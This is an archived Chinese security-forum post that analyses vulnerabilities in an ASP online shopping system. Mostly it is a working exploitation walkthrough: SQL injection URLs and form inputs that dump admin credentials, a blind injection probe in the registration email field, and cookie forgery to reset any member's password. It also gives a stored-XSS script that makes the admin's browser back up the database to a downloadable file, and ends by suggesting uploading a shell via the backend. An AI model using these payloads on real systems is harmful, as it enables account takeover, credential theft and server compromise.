邪恶八进制信息安全团队技术讨论组's Archiver

ninty 2008-1-10 15:49

[原创]对“网软网上购物系统”的一点点安全分析

文章作者:ninty
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

[b]注:此文章首发IXPUB论坛,后经本文作者ninty友情提交到邪恶八进制论坛。[/b]

很糟糕的一套程序,我ASP不太熟悉,哪里写错了还请各位大牛指点!

注入:
共发现3个可注入的地方:
Products.asp 发生在浏览产品的时候
代码如下:
[code]<%set rss=server.CreateObject("adodb.recordset")
rss.open "select * from products where bookid="&request.querystring("id"),conn,1,3  //这里,取得id直接拼到了SQL语句里,注入产生了!
if rss.eof or bof then
response.write "alert(&#39;对不起,没有此商品!&#39;);history.go(-1);"
response.end
end if
dim des
if not rss("metad")="" then
des=rss("metad")
end if
if not rss("metak")="" then
keya=rss("metak")
end if
%>
<%=webname%>--商品详细信息
">
">
/css.css" rel="stylesheet" type="text/css">


  <!--
  function OpenNews()
  {
      window.name = "news"
      win = window.open(&#39;&#39;,&#39;newswin&#39;,&#39;left=110,width=600,height=420,scrollbars=1&#39;);
  }
  //-->
  

<%if IsNumeric(request.QueryString("id"))=False then
response.write("alert(""非法访问!"");location.href=""index.asp"";")
response.end
end if[/code]
这里有一个有趣的问题哈,在查完库以后,才对ID进行检测,不知道这个程序员是怎么想的!
构造注入语句如下:
[code]http://localhost/shangwu/products.asp?id=353 union select &#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,admin,password,&#39;1&#39;,&#39;1&#39; from admin[/code]
我用的FF,因为后面的javascript的干扰有可能会导致看不到结果。用FF把JS禁用掉 。提交以后,查看网页源代码,得到管理员的账号与密码:
[attach]7104[/attach]

Getpwd2.asp 发生在找回密码的时候,代码如下:[code]<%
username=request.form("username")  //直接从表单里拿到username的值
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [YX_User] where name=&#39;"&username&"&#39; " //放入SQL语句 执行 ,注入发生了
rs.open sql,conn,1,1
If rs.eof Then
%>
……
<%if rs("Clue")<>"" then%>
<%=rs("Clue")%>  //这里 输出Clue列的值,可以利用这里直接输出一个我们想要的列的值[/code]
在找回密码的框里输入:
[code]admin&#39; union select
&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,password,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;
,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39;,&#39;1&#39; from admin where &#39;&#39;=&#39;[/code]
[attach]7105[/attach]

下一步,直接拿到了管理员密码:
[attach]7106[/attach]

3.Register.asp 发生在注册用户的时候[code]    set rs=server.CreateObject("adodb.recordset")
rs.open "select * from [YX_User] where Mail=&#39;"&trim(request("useremail"))&"&#39; or Name=&#39;"&trim(request("username"))&"&#39;",conn,1,1  //直接拿到了useremail和username,就加到了SQL里。
if rs.recordcount>0 then  //如果查询出来的记录数大于0
call usererr()  //调用usererr()
rs.close
else[/code]其中usererr()的内容是[code]sub usererr()
response.write ""
response.write ""
response.write "· 用户注册失败!· 您输入的用户名或e-mail地址已存在,请返回重新输入!· 返回上一页 "
end sub[/code]我们可以在useremail里做手脚。输入一个不存在的用户名与一个不存在的email,然后在email里再加上我们的注入语句,如果提示用户名或者EMAIL已存在,就说明我们附加的SQL语句是成立的!
如图:
[attach]7107[/attach]
EMAIL那里输入的是:[email]321564654@123.com[/email] &#39; or exists (select * from admin) or &#39;&#39;<>&#39;
结果:因为存在admin表,如果把admin改成aa,提交以后看到的就是空白页
[attach]7108[/attach]

更改任意用户密码:
发生在修改会员密码的页面,
看处理页面是如何处理的:[code]action=request.QueryString("action")
username=request.cookies("Cnhww")("username")  //username是从Cookie里取到的
select case action
……
case "savepass"
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from [YX_User] where name=&#39;"&username&"&#39;",conn,1,3
if trim(request("userpassword"))<>"" then
rs("password")=md5(trim(request("userpassword")))  //如果userpassword不为空,就进行修改
end if
rs.update
rs.close
set rs=nothing
response.Write "alert(&#39;密码更改成功!&#39;);window.location.href=&#39;"&request.servervariables("http_referer")&"&#39;;"
response.End
……
end select[/code]我们可以伪造Cookie来修改任何会员的密码。!

先用我们注册好的用户进入会员中心,点修改密码,打开WSE抓数据包。抓到的内容:
[attach]7109[/attach]

把username=ninty 改成username=admin,这里我们修改admin这个用户的密码。Usernamepassword=123456&userpassword2=123456,这样就把它的密码改成了123456,
这个admin只是一个普通用户,并不是后台的管理员。管理员信息没保存在这个表里。
保存后用NC提交。
[attach]7110[/attach]

到前台用123456登陆。成功!
[attach]7111[/attach]

跨站
问题发生在会员留言那里:mymsg_hand1.asp
[code]  sql="select * from sms"
  set rs=server.createobject("adodb.recordset")
  rs.open sql,conn,1,3
  rs.addnew
   rs("name")="admin"
  neirong=request.form("neirong")  ///入库的时候没有过滤
  neirong=replace(neirong,"=======","======")
   rs("neirong")=neirong
   rs("riqi")=now()
   rs("fname")=request.cookies("cnhww")("username")
  rs.update  
  rs.close
  set rs=nothing

  response.write ""
  response.write "alert(&#39;操作成功,已向管理员发送一条站内消息!&#39;);"
  response.write "location.href=&#39;user.asp?action=famess&#39;;"
  response.write ""
  response.end

conn.close
set conn=nothing[/code]我们再看出库的时候有没有过滤呢?
Hand1.asp:[code]set rs=Server.CreateObject("ADODB.recordset")
sql="select * from sms where (name=&#39;管理员&#39; or name=&#39;admin&#39;) and zuti=&#39;0&#39; order by riqi desc"
rs.open sql,conn,1,3

if rs.eof and rs.bof then
response.write "收件箱中没有消息。"
else

……

do while not rs.eof and pages>0
neirong=rs("neirong")
riqi=rs("riqi")
isnew=rs("isnew")
fname=rs("fname")
id=rs("id")
if pages<10 then response.write ""
%>

……

<%=replace(neirong,vbCRLF,"
")%>

[/code]在输入的时候只把回车换成了<br>.我们只要在写跨站代码的时候别加回车就行了!
在留言那里写上:[code]var  op  =  window.open(&#39;backdata.asp&#39;);setTimeout("back()",2000);function  back()  {var form=op.document.forms[0];form.DBpath.value="../bbs/data/#wrtxcnshop.asp";form.bkDBname.value="test.mdb";form.submit();[/code]这样在管理员查看留言的时候就会自动打开数据库备份页进行数据库备份,备份后会在databackup目录下生成一个test.mdb
[attach]7112[/attach]

别的漏洞还有很多 有兴趣的朋友自己再看看代码吧...
拿SHELL的话冲进后台上传个图片备份吧。

页: [1]
© 1999-2008 EvilOctal Security Team